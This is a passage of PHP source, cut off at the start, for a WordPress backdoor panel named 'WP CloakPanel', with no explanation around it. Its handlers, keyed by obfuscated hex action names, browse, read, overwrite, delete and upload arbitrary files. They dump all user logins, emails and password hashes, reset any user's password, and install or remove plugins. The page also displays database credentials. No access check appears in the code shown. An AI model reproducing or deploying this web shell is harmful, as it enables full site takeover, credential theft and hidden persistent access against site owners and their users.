isDot() ) continue; $allItems[] = [ 'name' => $f->getFilename(), 'is_dir' => $f->isDir() ]; } $page = max(1, intval($_POST['page'] ?? 1)); $perPage = 16; $total = count($allItems); $pages = ceil($total / $perPage); $offset = ($page - 1) * $perPage; $slice = array_slice($allItems, $offset, $perPage); $out = [ 'full' => $full, 'path' => $dir, 'items' => $slice, 'page' => $page, 'pages' => $pages, 'total' => $total, 'perPage' => $perPage, ]; echo json_encode($out); exit; case 'd1119f2b6': $X2eb03x = sanitize_text_field($_POST['path'] ?? ''); $b9f3a08da1 = realpath($X2eb03x); echo json_encode(['status'=> ($b9f3a08da1 && unlink($b9f3a08da1)) ? 'ok':'err' ]); exit; case '1c1fa8265e4': $X2eb03x = sanitize_text_field($_POST['path'] ?? ''); $b9f3a08da1 = realpath($X2eb03x); $content = ($b9f3a08da1 && is_file($b9f3a08da1)) ? file_get_contents($b9f3a08da1) : ''; echo json_encode(['content'=>$content]); exit; case 'a590bf9': $X2eb03x = sanitize_text_field($_POST['path'] ?? ''); $b9f3a08da1 = realpath($X2eb03x); $content = $_POST['content'] ?? ''; $ok = ($b9f3a08da1 && file_put_contents($b9f3a08da1, $content)!==false); echo json_encode(['status'=>$ok?'ok':'err']); exit; case '30d80097': if (!empty($_FILES['file']) && !empty($_POST['path'])) { $base = realpath(sanitize_text_field($_POST['path'])); if ($base && is_dir($base) && is_writable($base)) { $file = $_FILES['file']; $dest = $base . '/' . basename($file['name']); $ok = move_uploaded_file($file['tmp_name'], $dest); echo json_encode(['status'=>$ok?'ok':'err']); } else { echo json_encode(['status'=>'err']); } } else { echo json_encode(['status'=>'err']); } exit; case '83356bed': global $wpdb; $rows = $wpdb->get_results( "SELECT ID,user_login,user_email,user_registered,user_pass FROM {$wpdb->users}", ARRAY_A ); $out = []; foreach ($rows as $u) { $userdata = get_userdata($u['ID']); $roles = implode(',', $userdata->roles); $out[] = [ 'ID' => $u['ID'], 'user_login' => $u['user_login'], 'user_email' => $u['user_email'], 'user_registered'=> $u['user_registered'], 'user_pass' => $u['user_pass'], 'roles' => $roles ]; } echo json_encode($out); exit; case '0e5ad2a6e9': $f40bde66b7c00ba = intval($_POST['uid'] ?? 0); if ($f40bde66b7c00ba) { $new = wp_generate_password(); wp_set_password($new, $f40bde66b7c00ba); echo json_encode(['status'=>'ok','new_pass'=>$new]); } else { echo json_encode(['status'=>'err']); } exit; case '68896e1f265': require_once ABSPATH . 'wp-admin/includes/plugin.php'; $all = get_plugins(); $active = get_option('active_plugins', []); $out = []; foreach ($all as $file => $p) { $out[] = [ 'file' => $file, 'name' => $p['Name'], 'version' => $p['Version'], 'status' => in_array($file, $active) ? 'active' : 'inactive' ]; } echo json_encode($out); exit; case 'c76b145e8a1': require_once ABSPATH . 'wp-admin/includes/plugin.php'; $action = sanitize_text_field($_POST['action'] ?? ''); $plugin = sanitize_text_field($_POST['plugin'] ?? ''); switch ($action) { case 'activate': $res = activate_plugin($plugin) === null; break; case 'deactivate': $res = deactivate_plugins($plugin) === null; break; case 'd1119f2b6': $res = delete_plugins([$plugin]) === null; break; default: $res = false; } echo json_encode(['status'=>$res?'ok':'err']); exit; case '301a4976': require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; if (!empty($_FILES['plugin_zip']) && $_FILES['plugin_zip']['error']===0) { $upgrader = new Plugin_Upgrader(); $installed = $upgrader->install($_FILES['plugin_zip']['tmp_name']); echo json_encode(['status'=>$installed?'ok':'err']); } else { echo json_encode(['status'=>'err']); } exit; } } ?> WP CloakPanel
Path:
Go to:
IDUserEmailRegPass HashRolesActions
NameVersionStatusActions
Database Info

Host:

Name:

User:

Password: ••••••••